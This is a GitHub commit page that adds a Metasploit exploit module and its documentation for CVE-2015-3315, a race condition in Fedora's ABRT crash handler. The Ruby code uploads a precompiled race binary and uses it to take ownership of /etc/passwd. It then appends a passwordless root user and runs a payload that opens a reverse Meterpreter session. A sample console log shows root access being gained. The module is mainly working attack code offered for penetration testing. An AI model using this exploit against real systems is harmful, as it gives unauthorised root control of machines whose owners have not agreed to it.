Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9422 abrt race condition priv esc on linux
- Loading branch information
Showing
3 changed files
with
313 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
73 changes: 73 additions & 0 deletions
73
documentation/modules/exploit/linux/local/abrt_raceabrt_priv_esc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
## Description | ||
|
||
This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. | ||
|
||
|
||
## Vulnerable Application | ||
|
||
A race condition in ABRT allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. | ||
|
||
This module has been tested successfully on ABRT packaged versions: | ||
|
||
* 2.1.5-1.fc19 on Fedora Desktop 19 x86_64 | ||
* 2.2.1-1.fc19 on Fedora Desktop 19 x86_64 | ||
* 2.2.2-2.fc20 on Fedora Desktop 20 x86_64 | ||
|
||
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a session | ||
3. Do: `use exploit/linux/local/abrt_raceabrt_priv_esc` | ||
4. Do: `set SESSION [SESSION]` | ||
5. Do: `check` | ||
6. Do: `run` | ||
7. You should get a new *root* session | ||
|
||
|
||
## Options | ||
|
||
**USERNAME** | ||
|
||
Username for the new UID=0 user (default: random) | ||
|
||
**SESSION** | ||
|
||
Which session to use, which can be viewed with `sessions` | ||
|
||
**WritableDir** | ||
|
||
A writable directory file system path. (default: `/tmp`) | ||
|
||
|
||
## Scenarios | ||
|
||
``` | ||
msf > use exploit/linux/local/abrt_raceabrt_priv_esc | ||
msf exploit(linux/local/abrt_raceabrt_priv_esc) > set session 1 | ||
session => 1 | ||
msf exploit(linux/local/abrt_raceabrt_priv_esc) > run | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 172.16.191.244:4444 | ||
[*] Writing '/tmp/.C17d3UYQy' (64240 bytes) ... | ||
[*] Trying to own '/etc/passwd' - This might take a few minutes (Timeout: 900s) ... | ||
[+] Success! '/etc/passwd' is writable | ||
[*] Adding pauITBusGM user to /etc/passwd ... | ||
[*] Writing '/tmp/.u8zOz4c' (207 bytes) ... | ||
[*] Sending stage (857352 bytes) to 172.16.191.137 | ||
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.137:38938) at 2018-02-03 21:29:56 -0500 | ||
meterpreter > getuid | ||
Server username: uid=0, gid=0, euid=0, egid=0 | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : Fedora 20 (Linux 3.19.8-100.fc20.x86_64) | ||
Architecture : x64 | ||
BuildTuple : i486-linux-musl | ||
Meterpreter : x86/linux | ||
meterpreter > | ||
``` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,240 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'ABRT raceabrt Privilege Escalation', | ||
'Description' => %q{ | ||
This module attempts to gain root privileges on Fedora systems with | ||
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured | ||
as the crash handler. | ||
A race condition allows local users to change ownership of arbitrary | ||
files (CVE-2015-3315). This module uses a symlink attack on | ||
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, | ||
then adds a new user with UID=0 GID=0 to gain root privileges. | ||
Winning the race could take a few minutes. | ||
This module has been tested successfully on ABRT packaged version | ||
2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop | ||
19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. | ||
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Tavis Ormandy', # Discovery and C exploit | ||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit | ||
], | ||
'DisclosureDate' => 'Apr 14 2015', | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'References' => | ||
[ | ||
[ 'CVE', '2015-3315' ], | ||
[ 'EDB', '36747' ], | ||
[ 'BID', '75117' ], | ||
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], | ||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], | ||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], | ||
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], | ||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], | ||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], | ||
[ 'URL', 'https://access.redhat.com/articles/1415483' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] | ||
] | ||
)) | ||
register_options( | ||
[ | ||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), | ||
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]), | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | ||
]) | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'] | ||
end | ||
|
||
def timeout | ||
datastore['TIMEOUT'] | ||
end | ||
|
||
def check | ||
if cmd_exec('lsattr /etc/passwd').include? 'i' | ||
vprint_error 'File /etc/passwd is immutable' | ||
return CheckCode::Safe | ||
end | ||
|
||
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' | ||
unless kernel_core_pattern.include? 'abrt-hook-ccpp' | ||
vprint_error 'System is NOT configured to use ABRT for crash reporting' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'System is configured to use ABRT for crash reporting' | ||
|
||
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true' | ||
vprint_error "Directory '/var/spool/abrt' exists. System has been patched." | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'System does not appear to have been patched' | ||
|
||
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true' | ||
vprint_error "Directory '/var/tmp/abrt' does NOT exist" | ||
return CheckCode::Safe | ||
end | ||
vprint_good "Directory '/var/tmp/abrt' exists" | ||
|
||
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' | ||
vprint_error 'abrt-ccp service NOT running' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'abrt-ccpp service is running' | ||
|
||
abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1] | ||
unless abrt_version.blank? | ||
vprint_status "System is using ABRT package version #{abrt_version}" | ||
end | ||
|
||
CheckCode::Detected | ||
end | ||
|
||
def upload_and_chmodx(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
cmd_exec "chmod +x '#{path}'" | ||
register_file_for_cleanup path | ||
end | ||
|
||
def exploit | ||
if check != CheckCode::Detected | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | ||
end | ||
|
||
@chown_file = '/etc/passwd' | ||
|
||
if datastore['USERNAME'].blank? | ||
@username = rand_text_alpha rand(7..10) | ||
else | ||
@username = datastore['USERNAME'] | ||
end | ||
|
||
# Upload Tavis Ormandy's raceabrt exploit: | ||
# - https://www.exploit-db.com/exploits/36747/ | ||
# Cross-compiled with: | ||
# - i486-linux-musl-cc -static raceabrt.c | ||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt' | ||
fd = ::File.open path, 'rb' | ||
executable_data = fd.read fd.stat.size | ||
fd.close | ||
|
||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}" | ||
executable_path = "#{base_dir}/#{executable_name}" | ||
upload_and_chmodx executable_path, executable_data | ||
|
||
# Change working directory to base_dir | ||
cmd_exec "cd '#{base_dir}'" | ||
|
||
# Launch raceabrt executable | ||
print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..." | ||
output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout | ||
output.each_line { |line| vprint_status line.chomp } | ||
|
||
# Check if we own /etc/passwd | ||
unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true' | ||
fail_with Failure::Unknown, "Failed to own '#{@chown_file}'" | ||
end | ||
|
||
print_good "Success! '#{@chown_file}' is writable" | ||
|
||
# Add new user with no password | ||
print_status "Adding #{@username} user to #{@chown_file} ..." | ||
cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}" | ||
|
||
# Upload payload executable | ||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
|
||
# Execute payload executable | ||
vprint_status 'Executing payload...' | ||
cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\"" | ||
end | ||
|
||
def on_new_session(session) | ||
if session.type.to_s.eql? 'meterpreter' | ||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' | ||
end | ||
|
||
# Reinstate /etc/passwd root ownership and remove new user | ||
root_owns_passwd = false | ||
new_user_removed = false | ||
|
||
if session.type.to_s.eql? 'meterpreter' | ||
# Reinstate /etc/passwd root ownership | ||
session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\"" | ||
|
||
# Remove new user | ||
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\"" | ||
|
||
# Wait for clean up | ||
Rex.sleep 5 | ||
|
||
# Check root ownership | ||
passwd_stat = session.fs.file.stat(@chown_file).stathash | ||
if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0 | ||
root_owns_passwd = true | ||
end | ||
|
||
# Check for new user in /etc/passwd | ||
passwd_contents = session.fs.file.open(@chown_file).read.to_s | ||
unless passwd_contents.include? "#{@username}:" | ||
new_user_removed = true | ||
end | ||
elsif session.type.to_s.eql? 'shell' | ||
# Reinstate /etc/passwd root ownership | ||
session.shell_command_token "chown root:root #{@chown_file}" | ||
|
||
# Remove new user | ||
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}" | ||
|
||
# Check root ownership | ||
passwd_owner = session.shell_command_token "ls -l #{@chown_file}" | ||
if passwd_owner.to_s.include? 'root' | ||
root_owns_passwd = true | ||
end | ||
|
||
# Check for new user in /etc/passwd | ||
passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}" | ||
unless passwd_user.to_s.include? "#{@username}:" | ||
new_user_removed = true | ||
end | ||
end | ||
|
||
unless root_owns_passwd | ||
print_warning "Could not reinstate root ownership of #{@chown_file}" | ||
end | ||
|
||
unless new_user_removed | ||
print_warning "Could not remove user '#{@username}' from #{@chown_file}" | ||
end | ||
rescue => e | ||
print_error "Error during cleanup: #{e.message}" | ||
ensure | ||
super | ||
end | ||
end |